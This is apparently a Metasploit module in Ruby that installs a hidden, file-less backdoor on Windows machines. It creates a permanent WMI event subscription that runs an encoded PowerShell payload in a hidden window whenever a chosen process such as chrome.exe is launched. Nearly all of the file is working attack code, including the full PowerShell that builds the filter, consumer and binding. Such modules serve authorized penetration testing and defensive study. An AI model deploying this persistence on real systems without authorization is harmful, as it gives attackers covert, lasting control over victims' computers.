WMI Event Subscription Process Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# WMI Event Subscription Process Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/wmi_persistence' # previously the "PROCESS" wmi_persistence method
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WMI Event Subscription Process Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
that triggers the payload when the specified process is started.
Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
Many built-in apps on Windows 10/11 launch via a modern UWP app (Win32Bridge.Server.exe or ApplicationFrameHost.exe),
not the legacy binary (like calc.exe). If you pick one of these apps, like calc.exe, it can still be triggered
from command line, however GUI execution will not work.
Duplicate CLASSNAMEs will not overwrite, so if the env isn't cleaned up before
re-exploitation, the exploitation will fail.
Tested and works being launched from GUI (windows 10):
chrome.exe (several shells at once)
calc.exe (only from command line calc.exe or calc)
msedge.exe (several shells at once)
cmd.exe
},
'Author' => [
'Nick Tyrer <@NickTyrer>', # original module
'h00die' # docs, persistence mixin, pshell cleanup
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'DisclosureDate' => '2017-06-06',
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
],
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('PROCESS_TRIGGER',
[true, 'The process name to trigger the payload.', 'chrome.exe' ]),
OptString.new('CLASSNAME',
[true, 'WMI event class name.', 'UPDATER' ])
])
register_advanced_options(
[
OptString.new('CustomPsCommand',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
]
)
deregister_options('WritableDir')
end
def check
return CheckCode::Safe('This module requires powershell to run') unless have_powershell?
return CheckCode::Safe('This module requires admin privs to run') unless is_admin?
return CheckCode::Safe('This module cannot run as System') if is_system?
return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
psh_exec(subscription_process)
print_good "Persistence installed! Call a shell by starting #{datastore['PROCESS_TRIGGER']}"
# wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
# source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
class_name = datastore['CLASSNAME']
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -Class __FilterToConsumerBinding | Where-Object { \\$_.Filter -match '\\(Name = \\\\\\\"#{class_name}\\\\\\\"\\)' -or \\$_.Consumer -match '\\(Name = \\\\\\\"#{class_name}\\\\\\\"\\)' } | ForEach-Object { Remove-CimInstance -InputObject \\$_ -ErrorAction SilentlyContinue }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -Class CommandLineEventConsumer | Where-Object { \\$_.Name -eq '#{class_name}' } | ForEach-Object { Remove-CimInstance -InputObject \\$_ -ErrorAction SilentlyContinue }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -Class __EventFilter | Where-Object { \\$_.Name -eq '#{class_name}' } | ForEach-Object { Remove-CimInstance -InputObject \\$_ -ErrorAction SilentlyContinue }\\\""\n)
end
def build_payload
if datastore['CustomPsCommand']
script_in = datastore['CustomPsCommand']
compressed_script = compress_script(script_in)
encoded_script = encode_script(compressed_script)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end
def subscription_process
command = build_payload
class_name = datastore['CLASSNAME']
process_name = datastore['PROCESS_TRIGGER']
<<-HEREDOC
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end
end